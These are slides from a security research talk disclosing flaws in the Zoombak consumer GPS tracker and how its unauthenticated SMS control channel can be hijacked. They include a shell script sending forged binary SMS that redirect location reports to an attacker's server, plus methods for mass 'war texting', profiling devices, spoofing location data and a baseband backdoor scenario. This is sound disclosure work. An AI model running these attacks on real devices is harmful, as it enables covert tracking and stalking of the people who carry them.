A Million Little Tracking Devices

Turning Embedded Devices into Weapons

donb@isecpartners.com

@DonAndrewBailey
whois donb?
So what’s this b.s. all about, donb?
Zoombak “Advanced GPS Tracker”

- Sold in over 12,500 stores nation wide
- Easy to use (iPhone, Android)
- 2x as big as your 6th Generation iPod Nano
- Track your...
  - Car
  - Family
  - Pet
  - Valuables
Even *Oprah* Loves Zoombak

No more confetti-throwing cats and singing cakes. Now you can channel Van Gogh (Moma.org/ecards), create animated videos (Sendables.jibjab.com), or layer video and pictures with your favorite design and fonts (MyPunchbowl.com).

15. Dry Cleaning
According to a survey, only half the dry cleaners in the USA still use the once ubiquitous toxic chemical perchloroethylene on your clothes.

16. Keeping tabs on your children
Honey, I found the kids: For a mere $100, the Zoombak, a GPS easily stowed in a backpack, will pinpoint your child's whereabouts on a map.

17. Wal-Mart
The retail giant is making good on its recent promise to recycle, use fuel-efficient delivery trucks, run its stores on renewable energy, and force suppliers to cut wasteful packaging and bad manufacturing practices.
What is the Device composed of?
Modular design

• GSM module
• GPS module
• Application “microcomputer”
• T-Mobile SIM Card
GSM Module

- Siemens 0682
  - Infineon Baseband
  - Skyworks 7750 RF Tx

- Controlled via USART
  - AT Commands!

- No shared memory!
GPS Module

- GR-520 GPS Module
- Not that interesting
- Acquires GPS!!!
Application uC

- Renesas SH7721/7300 Microcomputer Platform
- Fairly robust uC platform
- Application processor unknown
  - But, probably one of the common realtime uC OS
  - Likely, Java
  - Or something....
But wait! Donb, don’t you know?!?
I don’t have to know...
A Quick Aside about Siemens 0682

- Attaching to OpenBTS
  - Using Malaysian Test SIM cards (001/01)

- The Zoombak (Siemens) claims A5/2 capability
  - And only A5/2

- The Zoombak accesses GPRS
  - Presumably using A5/2

- T-Mobile allows A5/2 on GPRS in the USA?
  - This shouldn’t happen
How does Zoombak work?
It’s all about the Customer Experience

- Log into the Web2.0 interface
- Select the desired tracking device
- Click “find now”
- Wait for the embedded map to update
- Enjoy the map
- GOTO 10
How does the device work?
The Control Channel

- Commands are received via SMS
  - 8bit binary messages
- Application polls SIM for SMS
- Application receives command
  - Parses binary SMS
  - Extracts command
PDU Breakdown

- “gOnDLocate”
  - Represents an incoming location request
- “Loc34-gfqgyl9f”
  - Location ID (nonce)
- 0x43 0xCA 0xED 0x70
  - 67.202.237.112 ???
Whois.net™
DOMAIN-BASED RESEARCH SERVICES

Tool: Whois By IP Address

Find Out Whois By IP:

Enter IP Address:

Search

[Querying whois.arin.net]
[whois.arin.net]

# Query terms are ambiguous. The query is assumed to be:
# "n 67.202.237.112"
# Use "?" to get help.
#
#
# The following results may also be obtained via:
#
#
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#

Copyright © 1999-2010
So, the Location Request...

- Defines *where* the device should connect
  - IPv4 Address

- Defines *what* the device should send
  - Nonce
Okay, but what does a response look like?
Back to the Logic Analyzer

- Log into Zoombak’s Web2.0 GUI
- Send a valid request to the Device
- Sniff the AT commands between App -> GSM
- Watch what the device does
donb@localhost:~/lab/research/zoombak/revenge

AT^SICS=0,conType,GPRS0
AT^SICS=0, user, ""
AT^SICS=0, passwd, ""
AT^SICS=0, apn, cidaagps,t-mobile.com
AT^SICS=0, dns1, ""
AT+CGATT=1
AT+CGATT?
AT^SIS=5
AT^SIS=5,srvType,Socket
AT^SIS=5,address,socktcp://37.202.237.112:7276
AT^SIS=5,conId,0
AT^SIS=5,tcp0T,20
AT^SIS=5
AT^SIS=5
AT^SIS=5
AT^SIM=5,260
POST /zlszb100/UDLocation HTTP/1.1
Content-Length: 173
loc34-gefhhic7ck&JLC601,05幡1&12673344409:5:2010-12-28T02:18:35Z:11001&11863&310&260&0幡1&-57"110
16&12493&1&73"11001&11863&1&77"11001&39102&1&-79at^sir=5,1000
at^sir=5,1000
at^sir=5,897
AT+CLCK?
AT+CNUM
AT+CGATT?
AT^SIS=5
AT^SIS=5
AT^SIS=5,126
POST /zlszb100/UDLocation HTTP/1.1
Content-Length: 40
loc34-gefhhic7ck&JLC601,05幡1&12673344409:0~^sir=5,1000
at^sir=5,1000
at^sir=5,897
AT^SIS=1
AT^SIS=1
AT^SIS=1
AT^SIS=5
AT^SIS=5
AT^SIS=5
at^smgl=0
Seriously?!!

• The GSM Module accepts AT commands to
  ▫ Connect to a specific host AND port
  ▫ Over TCP/IP
  ▫ Send/Receive data

• Zero confidentiality!
Lets Diverge, Shall We?

- GSM baseband attacks are a Serious Issue™
- The baseband attack surface was
  - Thought to be small
  - RF oriented
  - Localized
- But, wait! Remote baseband compromise?
  - Embedded TCP/IP stack
  - Small code base (small flash space)
Attack Scenario

• For any baseband with embedded TCP/IP capability
• Force AT commands to connect to Host:Port
• Implement attack against TCP/IP stack
  ▫ IP header length
  ▫ TCP payload length
  ▫ Fragments
• Get persistent compromise in the baseband
• Force GPRS traffic over a specific APN/IP
• Evade Application Flash Updates
  ▫ No need to backdoor the App when the Baseband is backdoored
• Similar to BIOS backdoors for PC
Okay, back to the payload.
donb@localhost: ~/lab/...earch/zoombak/revenge $ strings AT_COMMAND_serial_data-1.
la | grep gfqh1c7c | sed 's/\(\;\|\"\)/\n/g'
loc34-gfqh1c7c&DL&C&01,05,01&1&12673344409
5
2010-12-28T02:18:35Z
11001&11863&310&260&0&1&-57
11010&12493&&1&&-73
11001&11861&&1&&-76
11010&36843&&1&&-77
11001&39102&&1&&-79at^sisr=5,1000
loc34-gfqh1c7c&DL&C&01,05,01&12673344409
0at^sisr=5,1000

donb@localhost: ~/lab/research/zoombak/revenge $
First Response Payload Format

- Nonce
- Version stuff
- Sender’s phone number (MSISDN)
- Number of location data segments
- Time stamp
- Cellular data
  - Location Area Code (LAC), Cell ID, MCC, MNC, RSSI
  - This is the ‘A’ in A-GPS
Second Response Payload Format

- Nonce
- Version stuff
- Sender’s phone number (MSISDN)
- Number of location data segments
- GPS data (latitude, long)
  - If available
- Time stamp
Let’s use Open Cell ID

- Online database of cellular towers
- Includes
  - MCC
  - MNC
  - Cell ID
  - LAC
  - Geo Location (Latitude, Longitude)
So, now we know...

- How to control the device
  - Presumably via IP in SMS
- What a response looks like
  - Standard HTTP POST
- Where the data is sent
  - Zoombak server on port 7276
- What network its sent to
  - cidagps.t-mobile.com
What’s next?
“Dogggg will hunt!!” - Les Claypool
Piece it together!

- **SMS service like Routomessaging**
  - Send binary SMS for fractions of a cent
  - Scriptable over SMPP
  - Combine with crontab -> Win!
- **Edit a valid payload**
  - Change Zoombak’s IP to Your IP
  - Ship the SMS
- **Wait on port 7276**
x=1
while [ $x -lt $TIMES ]; do
  x=$((x+1));
  K=`printf "%.02d $x\" $KEY`;
  for M in ${TARGETS}; do
    echo "forceloc: shipping message to $M as key $K"
    wget "http://127.0.0.1:13013/cgi-bin/sendsms?username=donb&password=NickDe,BLACKMAIL!!!&from=12050&to=$M&udh=%06%05%04%EA%08%1C%6C&text=%7F%6E%44%4C%6F%63%61%74%65%00%01%01%00%00%00%00%00%00%00%00%00%00%FF" /dev/null 2>&1
  done
done

sleep $SLEEP
Frame 4: 353 bytes on wire (2824 bits), 353 bytes captured (2824 bits)
- Linux cooked capture
- Internet Protocol, Src: 10.90.0.232 (10.90.0.232), Dst: 10.90.0.93 (10.90.0.93)
- Transmission Control Protocol, Src Port: etc-control (6107), Dst Port: oma-ilp (7276), Seq: 1, Ack: 1, Len: 297
- Data (297 bytes)

Data: 504f53542027a6c732f7a623130302f7544c6f63617469...
So, we know we can intercept. But, can we find devices?
Enter, War Texting

- Spam thousands of numbers with our SMS payload
- Wait patiently, serving on port 7276
- Log all incoming requests
- Analyze location data
  - Interesting targets?
War Texting - The reality

- SMS spam is a huge problem
- Too many messages too fast = blocked
  - Average one message per 20 seconds
  - Slightly change payload
    - Alter Nonce with every message
- Don’t increment through MSISDN
  - Randomize from a set of targets
- Don’t spam all MSISDN
  - Look for the device’s profile first
Building an Easy Device Profile

- Incoming calls are disabled
- All devices are T-Mobile
- SMS is enabled
- NPA/NXX are typically not associated with location of purchase
- Use HLR to find devices that are “never home”
- Caller ID is always “Unavailable”
- Use HLR to find devices that are turned on
  - ‘Off’ devices are ‘Absent Subscriber’
Profiling is Less Intrusive

- Profiling is simply reconnaissance
- Perform many normal actions
  - To create an abnormal result
- Effect?
  - Generated list of potential fits
  - Less people spammed
  - Less provider hate for our SMS
  - More low key
So, we can find and target users. But, can we impersonate them?
Of course!

- Response payloads have no confidentiality
- Pure HTTP
- We can forge RSSI
- GPS data can be forged easily
  - Yay for on-line maps and Google Earth!
The Assisted in Assisted GPS

- Doesn’t mean ‘Assisting You’
  - It means ‘Assisting Them’

- Obviously, known LAC/CI pairs should indicate potentially bad GPS data (or vice versa)

- Selling LAC/CI is big $ in the Location Research markets
We hit the Trifecta
We can now...

• Discover random tracking devices
  ▫ Device Profiling and War Texting

• Force location interception
  ▫ SMS Control Spoofing and GPRS Abuse

• Impersonate compromised targets
  ▫ SMS Access, GPRS Abuse, and Client Spoofing
What attacks can be performed?

- This is an issue of thinking like an attacker
- Discover and monitor targets over time
- Assess highly desirable targets
- Strategic planning through behavioral analysis
What can be done to fix these problems?
Currently, they are...

- Using T-Mobile to do things “the wrong way”
  - “Non-Geographic Test Number” NPA/NXX
    - As of February 2011
    - Not active in Number Portability Administration
    - Blocks SMS from services like RoutoMessaging (temporarily?)
  - GPRS PDP Context Switching
    - Drop different types of devices into different networks
But, they should be...

- Not relying on the control message
  - Why embed an IPv4 address at all?
- Not implementing confidentiality and integrity
  - T-Mobile sends encrypted SMS to update SIMs, why can’t Zoombak do the same for the App?
- Disallowing software from talking to non-Zoombak resources
  - Force all network traffic through to Zoombak systems on the network
- Using HLR to assess potential spoofing/abuse
  - Dead technique unless T-Mobile exports this
Carmen’s Success is Zoombak’s Failure
Remember Carmen Sandiego?

- Research presented with Nick Depetrillo (Crucial)
- Tracking via HLR access
- Only a Phone Number is required
Nick DePetillo

MSC 16466228032

Sample accuracy 74%
Carmen Succeeded!

- T-Mobile HLR requests now fail
- Random MSC values from a static set of N
- No more T-Mobile tracking
- All major GSM providers in the USA are now secure
Bad for Zoombak

- No Location Data to compare to
- The device’s response must be trusted
- HLR can’t prove error / manipulations
What Lessons can we Learn?
Embedded Security is Hard

- Weak security surface
- Vast threat surface
- Many “moving parts” to maintain
  - Baseband
  - GPS firmware
  - Application firmware
  - SIM software/keys/etc
It’s also a Function of $\$

- Decreased production cost
- Increased functionality
  - Zigbee/802.15.4/Z-Wave
  - RFID/NFC
  - DECT
- Increased application space
  - More production = decreased cost to user
What’s the next *Killer* App?

- Urban Traffic Control systems
  - Controlled over GSM
- SCADA sensors
  - Controlled over GSM / SMS
- Generic user devices
  - Kindles, iPads, etc
- Children’s toys (IM-ME) capable of GSM
  - IM-ME has a 26MHz clock and can (sort of) do GSM-850
Well... Remember the last person that made Oprah look bad?
Yeah, me either.
Thanks For All The Fish!

- Nick Depetrillo
- Chris Eng
- Travis Goodspeed
- Andreas Junestam
- Mike Kershaw
- Zane Lackey
- Patrick McCanna

- Luis Miras
- David Munson
- Mike Ossmann
- Eric Schneider
- Alex Stamos
- Scott Stender
- David Thiel
“We ain’t hard 2 find” - 2pac

donb@isecpartners.com
@DonAndrewBailey